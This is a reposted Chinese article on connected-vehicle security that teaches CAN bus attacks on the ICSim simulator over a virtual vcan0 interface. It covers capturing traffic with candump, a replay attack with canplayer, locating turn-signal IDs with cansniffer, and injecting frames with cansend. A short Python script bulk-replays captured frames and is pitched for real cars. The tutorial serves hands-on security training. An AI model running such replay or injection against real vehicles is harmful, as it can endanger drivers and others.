车联网攻防

谈思实验室 2024-08-08 18:08

点击上方蓝字谈思实验室

获取更多汽车网络安全资讯


01

前言

车联网(Internet of Vehicles,IoV)是指将车辆与互联网和其他车辆进行连接和交互的技术和概念。它是物联网(Internet of Things,IoT)在汽车领域的应用扩展。

车联网的网络安全风险涉及多种常见的攻击方式。以下是一些常见的车联网网络安全攻击方式:

1.远程入侵:黑客可以通过远程入侵攻击车辆的电子控制单元(ECU),如发动机控制单元(ECU)或车载娱乐系统。他们可能利用软件漏洞或弱密码来获取对车辆系统的未经授权访问。

2.车载网络攻击:车辆内部的网络架构可能存在漏洞,黑客可以通过攻击车辆的CAN总线或其他通信协议来干扰车辆的正常运行,如篡改传感器数据、修改控制命令等。

3.远程控制:黑客可以通过滥用车辆远程连接功能,例如车辆的远程启动或远程锁定等,来控制车辆。这可能导致危险的情况,如非法启动车辆或锁定车辆的制动系统。

4.车载应用程序攻击:车辆中的应用程序和软件可能存在漏洞,黑客可以利用这些漏洞来获取对车辆系统的访问权限,例如通过远程攻击车载娱乐系统获取对车辆控制的访问权限。

5.车辆追踪与定位攻击:黑客可以通过攻击车辆的定位系统或车辆跟踪系统来获取车辆的位置信息,从而侵犯车主的隐私或进行非法活动。

6.车辆数据窃取:黑客可以通过攻击车辆的数据存储系统或无线通信,获取车辆的敏感数据,如驾驶习惯、位置历史等,进而进行个人身份盗窃或其他恶意行为。

7.物理攻击:黑客可以通过物理方式对车辆进行攻击,例如直接访问车辆的电子控制单元(ECU)来篡改或破坏车辆系统。

汽车攻防这方面的入局成本是非常之高,毕竟把自己车黑了后厂商八成可以不保修了,出问题了也无处伸冤。

好在 ICSim 这个开源项目,让大家有了入手点,这篇文章主要就是讲这个开源项目,至于汽车相关的软硬件等相关知识点,大家就自己学习了。

02

ICSim 安装及设置

1、从github拉去到本地

~# git clone https://github.com/zombieCraig/ICSim

2、安装环境依赖

~# sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils

3、安装ICSim

~# cd ICSim
~/ICSim# make

4、准备CAN环境

ICSim 目录,有一个名为 setup_vcan.sh 的 shell 脚本。

~/ICSim$ ls
art controls.c data icsim.c lib.c lib.o Makefile setup_vcan.sh
controls controls.o icsim icsim.o lib.h LICENSE README.md

使用cat命令查看其内容。

~/ICSim# cat setup_vcan.sh
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

modprobe 指令加载 can 和 vcan 模块,最后两行将创建 vcan0 接口以便模拟汽车网络。

运行 setup_vcan.sh 命令来设置一个虚拟的 CAN 接口:

~/ICSim# ./setup_vcan.sh

使用命令 ifconfig vcan0 验证 vcan0 接口,如果 vcan0 配置成功将显示:

~/ICSim# ifconfig vcan0
vcan0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
UP RUNNING NOARP MTU:72 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

03

运行ICSim

要想ICSim运行起来,必须需要一个仪表盘和一个控制器,其作用是模拟汽车加速、刹车、转向等,要想达到这些功能至少需要3个终端。

终端1:启动虚拟的 CAN 接口

~/ICSim# ./setup_vcan.sh

该终端启动后可关闭。

终端2:运行仪表盘

~/ICSim# ./icsim vcan0
Using CAN interface vcan0

运行该指令后将会有个 IC Simulator 窗口跑起来。

终端3:运行控制器

~/ICSim# ./controls vcan0
Warning: No joysticks connected

运行该指令后将会有个 CANBus Control Panel 窗口跑起来。

04

控车指令

05

ICSim 操控

1、candump 转储 CAN 报文

candump 是 can-utils 工具包中的一个命令,用于监听和显示CAN总线上的报文。

以下是 candump 命令的基本语法:

candump

◆: 指定要监听的CAN接口,例如 vcan0 或 can0。

新开终端,输入 candump vacn0,截取部分指令:

~# candump vcan0
vcan0 244 [5] 00 00 00 01 3D
vcan0 166 [4] D0 32 00 18
vcan0 158 [8] 00 00 00 00 00 00 00 19
vcan0 161 [8] 00 00 05 50 01 08 00 1C
vcan0 191 [7] 01 00 90 A1 41 00 03
vcan0 133 [5] 00 00 00 00 A7
vcan0 136 [8] 00 02 00 00 00 00 00 2A
vcan0 13A [8] 00 00 00 00 00 00 00 28
vcan0 13F [8] 00 00 00 05 00 00 00 2E
vcan0 164 [8] 00 00 C0 1A A8 00 00 04
vcan0 17C [8] 00 00 00 00 10 00 00 21

◆vcan0: 这是 CAN 接口的名称,表示数据是从 vcan0 接口接收的。CAN 接口是用于连接 CAN 总线的虚拟接口。

◆244, 166, 158, ...: 这些是 CAN 帧的标识符(ID),表示不同的 CAN 消息。

◆[5], [4], [8], ...: 这些是CAN帧的数据长度,表示CAN消息数据的字节数,这个不能超过 8 个字节。

◆00 00 00 01 3D, D0 32 00 18, ...: 这些是CAN帧的数据内容,以十六进制表示。每个字节对应两个十六进制数字。

通过 candump 命令,可以监视 CAN 总线上的 CAN 消息,并查看其标识符、数据长度和数据内容。这对于调试和监控 CAN 总线通信非常有用。

candump 还可以转储 CAN 报文内容,如果想进行重放攻击,这是必不可少的操作,CAN 报文的转储可以使用 -l 参数启动:

# candump vcan0 -l
Disabled standard output while logging.

Enabling Logfile 'candump-2023-09-16_013511.log'

会在当前目录下生成 candump-2023-09-16_013511.log 的日志文件。

2、canplayer 重放攻击

canplayer 是 can-utils 工具包中的一个命令,用于回放预先记录的 CAN 数据文件,以便模拟 CAN 总线上的报文传输。

以下是 canplayer 命令的基本语法:

canplayer

◆: 指定要回放数据的CAN接口,例如 vcan0 或 can0。

◆: 指定包含 CAN 数据记录的日志文件。

亦或者可以直接使用 -I 参数来指定接受输入文件:

canplayer -I

例如,在上述 candump 下来的 log 日志中我进行了左右转向灯开启的操作,要使用 canplayer 命令将预先记录的 CAN 数据文件 log.txt 回放到 vcan0 接口上,可以使用以下命令:

~# canplayer -I candump-2023-09-16_013511.log

经实验成功重放了报文,车辆进行了左右灯打开和关闭。

3、cansniffer 嗅探

通过 canplayer 可以重放 CAN 报文,但要想确定是哪个 canid 进行转向控制,或其余操作时,这时候就比较困难,二分法一次一次尝试是比较快的方法。

还有个比较快速的方法,寻找特点的 canid 及can 报文数据,即使用 cansniffer。

cansniffer 命令允许您监听 CAN 总线上的 CAN 消息,并将其显示在终端上。它可以帮助您实时查看 CAN 总线上的通信活动,包括 CAN 帧的标识符、数据长度和数据内容。

以下是 cansniffer 命令的基本语法:

cansniffer

◆: 指定要使用的CAN接口,例如 vcan0 或 can0。

cansniffer 的 -c 参数可以通过颜色高亮突出变化的字节,当需要判断执行某些操作是否会导致 CAN 数据变化时使用。

cansniffer -c vcan0

执行上述命令后,cansniffer 将开始监听 vcan0 接口上的 CAN 消息,并将产生变化的数据以红色高亮的方式显示在终端上。

cansniffer 可以通过 canid 进行过滤,当需要只显示某一个特定 canid 的帧时,只需在嗅探的过程中,按减号(-)然后输入 000000,再按 Enter 键清除所有的帧,按加号(+)然后输入 canid ,再按 Enter 键便只显示特定 canid 的帧。

4、cansend 主动调用

cansend 是 can-utils 工具包中的一个命令,用于向 CAN 总线发送 CAN 消息。它允许您指定 canid 的标识符、数据长度和数据内容,以将消息发送到CAN总线。

以下是 cansend 命令的基本语法:

cansend #

◆: 指定要使用的CAN接口,例如 vcan0 或 can0。

◆: CAN帧的标识符(ID),用于唯一标识一个 CAN 消息。

◆: CAN帧的数据内容,以十六进制表示。

例如,要发送一个标识符为123,数据内容为 01 02 03 04 的 CAN 消息到 vcan0 接口,可以使用以下命令:

cansend vcan0 123#01020304

在上述嗅探过程中,已经确认控制车辆左右转向灯的 canid 为 188 对应的 CAN 报文中 01 代表左转向灯亮,02 代表右转向灯亮,进行实操:

cansend vcan0 188#0100000000000000
cansend vcan0 188#0200000000000000

可以在对应的 IC Simulator 窗口中看到指示灯亮起。

有时候,在实车环境中,无法精确定位 canid ,可以采用脚本读取 candump 下来的数据源,批量发送 can 报文:


import subprocess
import time

def execute_commands(command):
subprocess.run(command, shell=True) # 主动调用

def get_can_cmd():
can_cmd_list = [] # 创建一个空列表用于存储每一行数据
with open('/home/xingjian/candump-2023-09-17_011314.log', 'r') as file:
for line in file:
line = 'cansend' + line.strip().split(r')')[-1] # 去除行末尾的换行符和空白字符
can_cmd_list.append(line) # 将每一行添加到列表中
return can_cmd_list


can_cmd_list = get_can_cmd()
for cmd in can_cmd_list:
print('正在发送指令为:', cmd)
execute_commands(cmd)
time.sleep(0.1)

来源: 看雪学苑

 end 

 专业社群 

 精品活动推荐 

更多文章

关于涉嫌仿冒AutoSec会议品牌的律师声明

一文带你了解智能汽车车载网络通信安全架构

网络安全:TARA方法、工具与案例

汽车数据安全合规重点分析

浅析汽车芯片信息安全之安全启动

域集中式架构的汽车车载通信安全方案探究

系统安全架构之车辆网络安全架构

车联网中的隐私保护问题

智能网联汽车网络安全技术研究

AUTOSAR 信息安全框架和关键技术分析

AUTOSAR 信息安全机制有哪些?

信息安全的底层机制

汽车网络安全

Autosar硬件安全模块HSM的使用

首发!小米雷军两会上就汽车数据安全问题建言:关于构建完善汽车数据安全管理体系的建议

谈思实验室 深入专注智能汽车网络安全与数据安全技术,专属汽车网络安全圈的头部学习交流平台和社区。平台定期会通过线上线下等形式进行一手干货内容输出,并依托丰富产业及专家资源,深化上下游供需对接,逐步壮大我国汽车安全文化及产业生态圈。
评论
  • 随着市场需求不断的变化,各行各业对CPU的要求越来越高,特别是近几年流行的 AIOT,为了有更好的用户体验,CPU的算力就要求更高了。今天为大家推荐由米尔基于瑞芯微RK3576处理器推出的MYC-LR3576核心板及开发板。关于RK3576处理器国产CPU,是这些年的骄傲,华为手机全国产化,国人一片呼声,再也不用卡脖子了。RK3576处理器,就是一款由国产是厂商瑞芯微,今年第二季推出的全新通用型的高性能SOC芯片,这款CPU到底有多么的高性能,下面看看它的几个特性:8核心6 TOPS超强算力双千
    米尔电子嵌入式 2025-01-03 17:04 55浏览
  •     为控制片内设备并且查询其工作状态,MCU内部总是有一组特殊功能寄存器(SFR,Special Function Register)。    使用Eclipse环境调试MCU程序时,可以利用 Peripheral Registers Viewer来查看SFR。这个小工具是怎样知道某个型号的MCU有怎样的寄存器定义呢?它使用一种描述性的文本文件——SVD文件。这个文件存储在下面红色字体的路径下。    例:南京沁恒  &n
    电子知识打边炉 2025-01-04 20:04 100浏览
  • PLC组态方式主要有三种,每种都有其独特的特点和适用场景。下面来简单说说: 1. 硬件组态   定义:硬件组态指的是选择适合的PLC型号、I/O模块、通信模块等硬件组件,并按照实际需求进行连接和配置。    灵活性:这种方式允许用户根据项目需求自由搭配硬件组件,具有较高的灵活性。    成本:可能需要额外的硬件购买成本,适用于对系统性能和扩展性有较高要求的场合。 2. 软件组态   定义:软件组态主要是通过PLC
    丙丁先生 2025-01-06 09:23 85浏览
  • 大模型的赋能是指利用大型机器学习模型(如深度学习模型)来增强或改进各种应用和服务。这种技术在许多领域都显示出了巨大的潜力,包括但不限于以下几个方面: 1. 企业服务:大模型可以用于构建智能客服系统、知识库问答系统等,提升企业的服务质量和运营效率。 2. 教育服务:在教育领域,大模型被应用于个性化学习、智能辅导、作业批改等,帮助教师减轻工作负担,提高教学质量。 3. 工业智能化:大模型有助于解决工业领域的复杂性和不确定性问题,尽管在认知能力方面尚未完全具备专家级的复杂决策能力。 4. 消费
    丙丁先生 2025-01-07 09:25 80浏览
  • 根据Global Info Research项目团队最新调研,预计2030年全球封闭式电机产值达到1425百万美元,2024-2030年期间年复合增长率CAGR为3.4%。 封闭式电机是一种电动机,其外壳设计为密闭结构,通常用于要求较高的防护等级的应用场合。封闭式电机可以有效防止外部灰尘、水分和其他污染物进入内部,从而保护电机的内部组件,延长其使用寿命。 环洋市场咨询机构出版的调研分析报告【全球封闭式电机行业总体规模、主要厂商及IPO上市调研报告,2025-2031】研究全球封闭式电机总体规
    GIRtina 2025-01-06 11:10 104浏览
  • 这篇内容主要讨论三个基本问题,硅电容是什么,为什么要使用硅电容,如何正确使用硅电容?1.  硅电容是什么首先我们需要了解电容是什么?物理学上电容的概念指的是给定电位差下自由电荷的储藏量,记为C,单位是F,指的是容纳电荷的能力,C=εS/d=ε0εrS/4πkd(真空)=Q/U。百度百科上电容器的概念指的是两个相互靠近的导体,中间夹一层不导电的绝缘介质。通过观察电容本身的定义公式中可以看到,在各个变量中比较能够改变的就是εr,S和d,也就是介质的介电常数,金属板有效相对面积以及距离。当前
    知白 2025-01-06 12:04 173浏览
  • By Toradex 秦海1). 简介嵌入式平台设备基于Yocto Linux 在开发后期量产前期,为了安全以及提高启动速度等考虑,希望将 ARM 处理器平台的 Debug Console 输出关闭,本文就基于 NXP i.MX8MP ARM 处理器平台来演示相关流程。 本文所示例的平台来自于 Toradex Verdin i.MX8MP 嵌入式平台。  2. 准备a). Verdin i.MX8MP ARM核心版配合Dahlia载板并
    hai.qin_651820742 2025-01-07 14:52 45浏览
  • 彼得·德鲁克被誉为“现代管理学之父”,他的管理思想影响了无数企业和管理者。然而,关于他的书籍分类,一种流行的说法令人感到困惑:德鲁克一生写了39本书,其中15本是关于管理的,而其中“专门写工商企业或为企业管理者写的”只有两本——《为成果而管理》和《创新与企业家精神》。这样的表述广为流传,但深入探讨后却发现并不完全准确。让我们一起重新审视这一说法,解析其中的矛盾与根源,进而重新认识德鲁克的管理思想及其著作的真正价值。从《创新与企业家精神》看德鲁克的视角《创新与企业家精神》通常被认为是一本专为企业管
    优思学院 2025-01-06 12:03 119浏览
  • 每日可见的315MHz和433MHz遥控模块,你能分清楚吗?众所周知,一套遥控设备主要由发射部分和接收部分组成,发射器可以将控制者的控制按键经过编码,调制到射频信号上面,然后经天线发射出无线信号。而接收器是将天线接收到的无线信号进行解码,从而得到与控制按键相对应的信号,然后再去控制相应的设备工作。当前,常见的遥控设备主要分为红外遥控与无线电遥控两大类,其主要区别为所采用的载波频率及其应用场景不一致。红外遥控设备所采用的射频信号频率一般为38kHz,通常应用在电视、投影仪等设备中;而无线电遥控设备
    华普微HOPERF 2025-01-06 15:29 127浏览
  • 根据环洋市场咨询(Global Info Research)项目团队最新调研,预计2030年全球无人机锂电池产值达到2457百万美元,2024-2030年期间年复合增长率CAGR为9.6%。 无人机锂电池是无人机动力系统中存储并释放能量的部分。无人机使用的动力电池,大多数是锂聚合物电池,相较其他电池,锂聚合物电池具有较高的能量密度,较长寿命,同时也具有良好的放电特性和安全性。 全球无人机锂电池核心厂商有宁德新能源科技、欣旺达、鹏辉能源、深圳格瑞普和EaglePicher等,前五大厂商占有全球
    GIRtina 2025-01-07 11:02 68浏览
  • 村田是目前全球量产硅电容的领先企业,其在2016年收购了法国IPDiA头部硅电容器公司,并于2023年6月宣布投资约100亿日元将硅电容产能提升两倍。以下内容主要来自村田官网信息整理,村田高密度硅电容器采用半导体MOS工艺开发,并使用3D结构来大幅增加电极表面,因此在给定的占位面积内增加了静电容量。村田的硅技术以嵌入非结晶基板的单片结构为基础(单层MIM和多层MIM—MIM是指金属 / 绝缘体/ 金属) 村田硅电容采用先进3D拓扑结构在100um内,使开发的有效静电容量面积相当于80个
    知白 2025-01-07 15:02 75浏览
  • 本文介绍Linux系统更换开机logo方法教程,通用RK3566、RK3568、RK3588、RK3576等开发板,触觉智能RK3562开发板演示,搭载4核A53处理器,主频高达2.0GHz;内置独立1Tops算力NPU,可应用于物联网网关、平板电脑、智能家居、教育电子、工业显示与控制等行业。制作图片开机logo图片制作注意事项(1)图片必须为bmp格式;(2)图片大小不能大于4MB;(3)BMP位深最大是32,建议设置为8;(4)图片名称为logo.bmp和logo_kernel.bmp;开机
    Industio_触觉智能 2025-01-06 10:43 87浏览
  • 在智能家居领域中,Wi-Fi、蓝牙、Zigbee、Thread与Z-Wave等无线通信协议是构建短距物联局域网的关键手段,它们常在实际应用中交叉运用,以满足智能家居生态系统多样化的功能需求。然而,这些协议之间并未遵循统一的互通标准,缺乏直接的互操作性,在进行组网时需要引入额外的网关作为“翻译桥梁”,极大地增加了系统的复杂性。 同时,Apple HomeKit、SamSung SmartThings、Amazon Alexa、Google Home等主流智能家居平台为了提升市占率与消费者
    华普微HOPERF 2025-01-06 17:23 145浏览
我要评论
0
点击右上角,分享到朋友圈 我知道啦
请使用浏览器分享功能 我知道啦